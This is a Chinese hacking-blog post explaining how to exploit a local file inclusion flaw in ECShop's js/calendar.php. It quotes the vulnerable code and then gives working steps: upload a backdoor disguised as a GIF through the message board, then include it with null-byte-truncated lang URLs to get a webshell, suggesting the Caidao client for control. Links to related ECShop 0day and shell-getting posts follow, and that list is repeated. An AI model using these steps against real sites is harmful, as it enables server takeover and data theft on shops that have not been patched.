From:坏客技术博客
直接看代码:
js/calendar.php
$lang = (!empty($_GET['lang']))
? trim($_GET['lang']) : ‘zh_cn’;//没有过滤,很明显的包含漏洞
if (!file_exists(‘../languages/’ . $lang . ‘/calendar.php’))
{
$lang = ‘zh_cn’;
}
require(dirname(dirname(__FILE__)) . ‘/data/config.php’);
header(‘Content-type: application/x-javascript; charset=’ . EC_CHARSET);
include_once(‘../languages/’ . $lang . ‘/calendar.php’);//这里包含,需要截断
前段时间一直徘徊在ecshop的网站上面。后面发现这个比较偏门的漏洞可以拿SHELL,简单说下利用方式。
伪造一个gif89a 头的GIF后门文件欺骗,然后注册商城帐号,在我要留言那里留言上传图片,然后利用包含直接拿SHELL!
网上的exp Url都是这样的 :http://www.*****.com/js/calendar.php?lang=../data/feedbackimg/6_20101228vyrpbg.gif%00.
想拿SHELL你就在点的后面加个php,很简单这样就可以识别为php文件执行脚本了。
如: js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00./1.php
直接 js/calendar.php?lang=../data/feedbackimg/309_20110405qzitof.gif%00.php 也可以的!
打开你上传后的gif伪图片经过以上漏洞构造的URL <出现E文则成功> <出现中文则失败>
对了,如果利用中弹出下载,建议你使用菜刀连接。比较方便!
(弹出下载在之前是没有的。可能升级了~ 不过对此漏洞毫无影响。)
如果留言页面找不了的话在根目录加: user.php?act=message_list
打开无此页面的话就不可以利用了。
只显示10条记录相关文章
ecshop后台获取shell最新方法,通杀最新版本&后台低权限 (浏览: 18170, 评论: 0)
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋) (浏览: 16094, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14387, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12203, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 11149, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 13014, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13923, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 11164, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 15219, 评论: 0)
再说两种ecshop后台拿shell的方法 (浏览: 12209, 评论: 0)
ecshop最新版(v272) 本地包含漏洞ODAY(鸡肋) (浏览: 16094, 评论: 0)
ECshop 支付方式注射 0day (浏览: 14387, 评论: 0)
ecshop v2.72 前台写shell漏洞 (浏览: 12203, 评论: 0)
ecshop2.72鸡肋注入 (浏览: 11149, 评论: 0)
ecshop 通杀2.6*2.7 GBK版本 oday 爆路径 GetShell (浏览: 13014, 评论: 0)
ecshop后台拿shell的又一种方法 (浏览: 13923, 评论: 0)
ecshop SQL注射漏洞0821 0day (浏览: 11164, 评论: 0)
ECSHOP数据库结构参数表结构说明 (浏览: 15219, 评论: 0)
再说两种ecshop后台拿shell的方法 (浏览: 12209, 评论: 0)